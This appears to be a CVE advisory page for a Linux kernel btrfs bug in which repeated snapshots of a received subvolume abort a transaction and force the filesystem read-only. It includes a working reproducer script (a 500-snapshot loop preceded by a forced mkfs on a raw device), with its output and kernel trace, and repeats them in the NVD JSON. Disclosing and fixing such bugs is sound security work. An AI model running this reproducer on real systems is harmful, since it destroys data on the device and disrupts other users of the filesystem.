CVE-2026-43361
Estado: AnalizadaMedia (5.5)—
In the Linux kernel, the following vulnerability has been resolved:
btrfs: fix transaction abort when snapshotting received subvolumes
Currently a user can trigger a transaction abort by snapshotting a previously received snapshot a bunch of times until we reach a BTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we can store in a leaf). This is very likely not common in practice, but if it happens, it turns the filesystem into RO mode. The snapshot, send and set_received_subvol and subvol_setflags (used by receive) don't require CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user could use this to turn a filesystem into RO mode and disrupt a system.
Leer descripción completaMostrar menos
Reproducer script:
When running the test:
And in dmesg/syslog:
Detalles técnicos trazas, registros y código del informe original
$ cat test.sh
#!/bin/bash
DEV=/dev/sdi
MNT=/mnt/sdi
# Use smallest node size to make the test faster.
mkfs.btrfs -f --nodesize 4K $DEV
mount $DEV $MNT
# Create a subvolume and set it to RO so that it can be used for send.
btrfs subvolume create $MNT/sv
touch $MNT/sv/foo
btrfs property set $MNT/sv ro true
# Send and receive the subvolume into snaps/sv.
mkdir $MNT/snaps
btrfs send $MNT/sv | btrfs receive $MNT/snaps
# Now snapshot the received subvolume, which has a received_uuid, a
# lot of times to trigger the leaf overflow.
total=500
for ((i = 1; i <= $total; i++)); do
echo -ne "\rCreating snapshot $i/$total"
btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null
done
echo
umount $MNT
$ ./test.sh
(...)
Create subvolume '/mnt/sdi/sv'
At subvol /mnt/sdi/sv
At subvol sv
Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type
Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system
Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system
Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system
Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system
$ dmesg
(...)
[251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252!
[251067.629212] ------------[ cut here ]------------
[251067.630033] BTRFS: Transaction aborted (error -75)
[251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235
[251067.632851] Modules linked in: btrfs dm_zero (...)
[251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)
[251067.646165] Tainted: [W]=WARN
[251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014
[251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs]
[251067.649984] Code: f0 48 0f (...)
[251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292
[251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3
[251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750
[251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820
[251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0
[251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5
[251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000
[251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0
[251067.661972] Call Trace:
[251067.662292] <TASK>
[251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs]
[251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs]
[251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs]
[251067.665238] ? _raw_spin_unlock+0x15/0x30
[251067.665837] ? record_root_
---truncated---CVSS
- Versión: 3.1
- Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Puntuación base: 5.5
Probabilidad de explotación (EPSS)
- Probabilidad de explotación en los próximos 30 días: 0.16%
- Percentil entre todas las CVEs puntuadas: 5
- Fecha de la puntuación: 5/10/2026
EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).
Tecnologías afectadas (1)
CWE
- NVD-CWE-noinfo
Referencias
- https://git.kernel.org/stable/c/6bce705b699cba9afccb996c77d194fe003dfa2a
- https://git.kernel.org/stable/c/770af8e465c2c3de528f85e840eab462dd41542b
- https://git.kernel.org/stable/c/9a9227b488ffb7cdbb5d930a01fc6956c05ba61a
- https://git.kernel.org/stable/c/bac55dde8efa457e769c934fd88a63f2141ba238
- https://git.kernel.org/stable/c/e1b18b959025e6b5dbad668f391f65d34b39595a
- https://git.kernel.org/stable/c/e3d8efc157bc590457d3e31da403af1a221643d6
JSON original (NVD)
Mostrar
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"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"integrityImpact": "NONE",
"userInteraction": "NONE",
"attackComplexity": "LOW",
"availabilityImpact": "HIGH",
"privilegesRequired": "LOW",
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"published": "2026-05-08T15:16:46.980",
"references": [
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"vulnStatus": "Analyzed",
"weaknesses": [
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"type": "Primary",
"source": "nvd@nist.gov",
"description": [
{
"lang": "en",
"value": "NVD-CWE-noinfo"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix transaction abort when snapshotting received subvolumes\n\nCurrently a user can trigger a transaction abort by snapshotting a\npreviously received snapshot a bunch of times until we reach a\nBTRFS_UUID_KEY_RECEIVED_SUBVOL item overflow (the maximum item size we\ncan store in a leaf). This is very likely not common in practice, but\nif it happens, it turns the filesystem into RO mode. The snapshot, send\nand set_received_subvol and subvol_setflags (used by receive) don't\nrequire CAP_SYS_ADMIN, just inode_owner_or_capable(). A malicious user\ncould use this to turn a filesystem into RO mode and disrupt a system.\n\nReproducer script:\n\n $ cat test.sh\n #!/bin/bash\n\n DEV=/dev/sdi\n MNT=/mnt/sdi\n\n # Use smallest node size to make the test faster.\n mkfs.btrfs -f --nodesize 4K $DEV\n mount $DEV $MNT\n\n # Create a subvolume and set it to RO so that it can be used for send.\n btrfs subvolume create $MNT/sv\n touch $MNT/sv/foo\n btrfs property set $MNT/sv ro true\n\n # Send and receive the subvolume into snaps/sv.\n mkdir $MNT/snaps\n btrfs send $MNT/sv | btrfs receive $MNT/snaps\n\n # Now snapshot the received subvolume, which has a received_uuid, a\n # lot of times to trigger the leaf overflow.\n total=500\n for ((i = 1; i <= $total; i++)); do\n echo -ne \"\\rCreating snapshot $i/$total\"\n btrfs subvolume snapshot -r $MNT/snaps/sv $MNT/snaps/sv_$i > /dev/null\n done\n echo\n\n umount $MNT\n\nWhen running the test:\n\n $ ./test.sh\n (...)\n Create subvolume '/mnt/sdi/sv'\n At subvol /mnt/sdi/sv\n At subvol sv\n Creating snapshot 496/500ERROR: Could not create subvolume: Value too large for defined data type\n Creating snapshot 497/500ERROR: Could not create subvolume: Read-only file system\n Creating snapshot 498/500ERROR: Could not create subvolume: Read-only file system\n Creating snapshot 499/500ERROR: Could not create subvolume: Read-only file system\n Creating snapshot 500/500ERROR: Could not create subvolume: Read-only file system\n\nAnd in dmesg/syslog:\n\n $ dmesg\n (...)\n [251067.627338] BTRFS warning (device sdi): insert uuid item failed -75 (0x4628b21c4ac8d898, 0x2598bee2b1515c91) type 252!\n [251067.629212] ------------[ cut here ]------------\n [251067.630033] BTRFS: Transaction aborted (error -75)\n [251067.630871] WARNING: fs/btrfs/transaction.c:1907 at create_pending_snapshot.cold+0x52/0x465 [btrfs], CPU#10: btrfs/615235\n [251067.632851] Modules linked in: btrfs dm_zero (...)\n [251067.644071] CPU: 10 UID: 0 PID: 615235 Comm: btrfs Tainted: G W 6.19.0-rc8-btrfs-next-225+ #1 PREEMPT(full)\n [251067.646165] Tainted: [W]=WARN\n [251067.646733] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014\n [251067.648735] RIP: 0010:create_pending_snapshot.cold+0x55/0x465 [btrfs]\n [251067.649984] Code: f0 48 0f (...)\n [251067.653313] RSP: 0018:ffffce644908fae8 EFLAGS: 00010292\n [251067.653987] RAX: 00000000ffffff01 RBX: ffff8e5639e63a80 RCX: 00000000ffffffd3\n [251067.655042] RDX: ffff8e53faa76b00 RSI: 00000000ffffffb5 RDI: ffffffffc0919750\n [251067.656077] RBP: ffffce644908fbd8 R08: 0000000000000000 R09: ffffce644908f820\n [251067.657068] R10: ffff8e5adc1fffa8 R11: 0000000000000003 R12: ffff8e53c0431bd0\n [251067.658050] R13: ffff8e5414593600 R14: ffff8e55efafd000 R15: 00000000ffffffb5\n [251067.659019] FS: 00007f2a4944b3c0(0000) GS:ffff8e5b27dae000(0000) knlGS:0000000000000000\n [251067.660115] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n [251067.660943] CR2: 00007ffc5aa57898 CR3: 00000005813a2003 CR4: 0000000000370ef0\n [251067.661972] Call Trace:\n [251067.662292] <TASK>\n [251067.662653] create_pending_snapshots+0x97/0xc0 [btrfs]\n [251067.663413] btrfs_commit_transaction+0x26e/0xc00 [btrfs]\n [251067.664257] ? btrfs_qgroup_convert_reserved_meta+0x35/0x390 [btrfs]\n [251067.665238] ? _raw_spin_unlock+0x15/0x30\n [251067.665837] ? record_root_\n---truncated---"
}
],
"lastModified": "2026-06-17T10:49:27.210",
"configurations": [
{
"nodes": [
{
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}